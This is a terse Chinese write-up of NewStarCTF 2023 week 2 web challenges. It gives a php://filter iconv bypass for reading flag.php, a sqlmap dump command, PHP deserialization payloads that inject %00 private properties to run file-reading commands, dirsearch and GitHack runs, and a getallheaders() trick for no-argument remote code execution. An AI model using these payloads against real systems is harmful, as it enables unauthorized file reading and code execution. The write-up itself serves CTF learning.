NewStarCTF 2023 week2 wp
web
游戏高手
查看js源码可以看到以下片段
1 |
|
include 0。0
1 |
|
显然是ban了filter协议的base和rot编码
然鹅filter不只支持base和rot编码
https://blog.csdn.net/gental_z/article/details/122303393?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php
ez_sql
sqlmap -r 1.txt --batch -D ctf -T here_is_flag -C flag --dump
1.txt 是 抓包
1 |
|
Unserialize?
反序列化 private
变量序列化之后产生不可见字符 用%00
替换unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}
也可以用
- od -c:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:36:"od /th1s_1s_fffflllll4444aaaggggg";}
- uniq :
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"uniq /th1s_1s_fffflllll4444aaaggggg";}
- head:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
- sort:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
- file -f :
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:38:"file -f /th1s_1s_fffflllll4444aaaggggg";}
Upload again!
.htaccess
script
标签绕过
R!!C!!E!!
dirsearch扫
buu 特性 要设置延时dirsearch -u [http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/](http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/) --delay=5
GitHackpython2 GitHack.py -u [http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/.git/](http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/.git/)
bo0g1pop.php
1 |
|
[^\W]+\((?R)?\)
[^\W]
匹配所有字符(?R)
表示递归
这个正则匹配类似abc()
的字符 而preg_replace
把匹配到的类似的字符置空
可以看出 大概逻辑就是括号里面不能有字符,如果有则必须是xxx()
格式的get_defined_vars scandir
ban了好多payload
思路就是找到一个可以传参数的地方然后再套一个eval来绕过get_defined_vars()
返回是一个包含 GET、POST等的数组 这里被ban了,搜一下有没有类似函数
有两个get_defined_functions()
和get_defined_constants()
分别返回已定义方法 、 常量get_defined_functions()
里面有很多方法包括scandir
和get_defined_vars()
但是数组太大,不知道怎么选中其中一个键
后面想到,能传参数的不只有GET POST 还有 header
翻php文档发现get_headers
可以取得服务器响应 HTTP 请求所发送的所有标头
但是这个函数需要一个参数
然后找到了headers_list
语法错误…
再找找apache_response_headers
还是 只有content-type ………
然后找到了getallheaders()
可以用ua头
或者xff和X-Forwarded-Proto